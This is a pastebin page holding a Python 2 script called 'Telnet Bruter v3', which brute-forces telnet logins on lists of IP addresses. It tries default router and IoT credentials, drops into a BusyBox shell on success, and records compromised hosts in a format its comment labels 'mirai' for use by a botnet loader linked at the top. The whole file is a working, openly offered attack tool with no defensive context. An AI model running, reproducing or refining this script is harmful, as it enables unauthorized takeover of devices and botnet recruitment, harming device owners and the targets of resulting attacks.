SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/python | |
| 2 | # Telnet Bruter v3 *FINAL* | By; LiGhT | |
| 3 | # Loader: https://pastebin.com/thqXywvQ | |
| 4 | ||
| 5 | ||
| 6 | import threading | |
| 7 | import sys, os, re, time, socket | |
| 8 | from Queue import * | |
| 9 | from sys import stdout | |
| 10 | ||
| 11 | if len(sys.argv) < 4: | |
| 12 | print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>" | |
| 13 | sys.exit() | |
| 14 | ||
| 15 | ips = open(sys.argv[1], "r").readlines() | |
| 16 | threads = int(sys.argv[2]) | |
| 17 | output_file = sys.argv[3] | |
| 18 | queue = Queue() | |
| 19 | queue_count = 0 | |
| 20 | ||
| 21 | combo = [ #use as many passwords as ya want(P.S. The more passwords the slower the bruteforce is going to be) | |
| 22 | "support:support", | |
| 23 | "admin:admin", | |
| 24 | "user:user", | |
| 25 | "root:antslq", | |
| 26 | "supervisor:zyad1234", | |
| 27 | "root:xc3511", | |
| 28 | "root:vizxv", | |
| 29 | "root: " | |
| 30 | ] | |
| 31 | ||
| 32 | for ip in ips: | |
| 33 | queue_count += 1 | |
| 34 | stdout.write("\r[%d] Added to queue" % queue_count)
| |
| 35 | stdout.flush() | |
| 36 | queue.put(ip) | |
| 37 | print "\n" | |
| 38 | ||
| 39 | class router(threading.Thread): | |
| 40 | def __init__ (self, ip): | |
| 41 | threading.Thread.__init__(self) | |
| 42 | self.ip = str(ip).rstrip('\n')
| |
| 43 | def run(self): | |
| 44 | username = "" | |
| 45 | password = "" | |
| 46 | for passwd in combo: | |
| 47 | if ":n/a" in passwd: | |
| 48 | password="" | |
| 49 | else: | |
| 50 | password=passwd.split(":")[1]
| |
| 51 | if "n/a:" in passwd: | |
| 52 | username="" | |
| 53 | else: | |
| 54 | username=passwd.split(":")[0]
| |
| 55 | try: | |
| 56 | tn = socket.socket() | |
| 57 | tn.settimeout(8) | |
| 58 | tn.connect((self.ip,23)) | |
| 59 | except Exception: | |
| 60 | tn.close() | |
| 61 | break | |
| 62 | try: | |
| 63 | hoho = '' | |
| 64 | hoho += readUntil(tn, "ogin:") | |
| 65 | if "ogin" in hoho: | |
| 66 | tn.send(username + "\n") | |
| 67 | time.sleep(0.09) | |
| 68 | except Exception: | |
| 69 | tn.close() | |
| 70 | try: | |
| 71 | hoho = '' | |
| 72 | hoho += readUntil(tn, "assword:") | |
| 73 | if "assword" in hoho: | |
| 74 | tn.send(password + "\n") | |
| 75 | time.sleep(0.8) | |
| 76 | else: | |
| 77 | pass | |
| 78 | except Exception: | |
| 79 | tn.close() | |
| 80 | try: | |
| 81 | prompt = '' | |
| 82 | prompt += tn.recv(40960) | |
| 83 | if ">" in prompt and "ONT" not in prompt: | |
| 84 | try: | |
| 85 | tn.send("cat | sh" + "\n")
| |
| 86 | time.sleep(0.1) | |
| 87 | success = False | |
| 88 | timeout = 8 | |
| 89 | data = ["BusyBox", "Built-in"] | |
| 90 | tn.send("sh" + "\n")
| |
| 91 | time.sleep(0.01) | |
| 92 | tn.send("busybox" + "\r\n")
| |
| 93 | buf = '' # NO FALSE POSSITIVES OVA HERE | |
| 94 | start_time = time.time() | |
| 95 | while time.time() - start_time < timeout: | |
| 96 | buf += tn.recv(40960) | |
| 97 | time.sleep(0.01) | |
| 98 | for info in data: | |
| 99 | if info in buf and "unrecognized" not in buf: | |
| 100 | success = True | |
| 101 | break | |
| 102 | except: | |
| 103 | pass | |
| 104 | elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt: | |
| 105 | try: | |
| 106 | success = False | |
| 107 | timeout = 8 | |
| 108 | data = ["BusyBox", "Built-in"] | |
| 109 | tn.send("sh" + "\n")
| |
| 110 | time.sleep(0.01) | |
| 111 | tn.send("shell" + "\n")
| |
| 112 | time.sleep(0.01) | |
| 113 | tn.send("help" + "\n")
| |
| 114 | time.sleep(0.01) | |
| 115 | tn.send("busybox" + "\r\n")
| |
| 116 | buf = '' # NO FALSE POSSITIVES OVA HERE | |
| 117 | start_time = time.time() | |
| 118 | while time.time() - start_time < timeout: | |
| 119 | buf += tn.recv(40960) | |
| 120 | time.sleep(0.01) | |
| 121 | for info in data: | |
| 122 | if info in buf and "unrecognized" not in buf: | |
| 123 | success = True | |
| 124 | break | |
| 125 | except: | |
| 126 | pass | |
| 127 | else: | |
| 128 | tn.close() | |
| 129 | if success == True: | |
| 130 | try: | |
| 131 | #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
| |
| 132 | #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular
| |
| 133 | os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
| |
| 134 | print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip) | |
| 135 | tn.close() | |
| 136 | break | |
| 137 | except: | |
| 138 | tn.close() | |
| 139 | tn.close() | |
| 140 | except Exception: | |
| 141 | tn.close() | |
| 142 | ||
| 143 | def readUntil(tn, string, timeout=8): | |
| 144 | buf = '' | |
| 145 | start_time = time.time() | |
| 146 | while time.time() - start_time < timeout: | |
| 147 | buf += tn.recv(1024) | |
| 148 | time.sleep(0.01) | |
| 149 | if string in buf: return buf | |
| 150 | raise Exception('TIMEOUT!')
| |
| 151 | ||
| 152 | def worker(): | |
| 153 | try: | |
| 154 | while True: | |
| 155 | try: | |
| 156 | IP = queue.get() | |
| 157 | thread = router(IP) | |
| 158 | thread.start() | |
| 159 | queue.task_done() | |
| 160 | time.sleep(0.2) | |
| 161 | except: | |
| 162 | pass | |
| 163 | except: | |
| 164 | pass | |
| 165 | ||
| 166 | for l in xrange(threads): | |
| 167 | try: | |
| 168 | t = threading.Thread(target=worker) | |
| 169 | t.start() | |
| 170 | time.sleep(0.01) | |
| 171 | except: | |
| 172 | pass |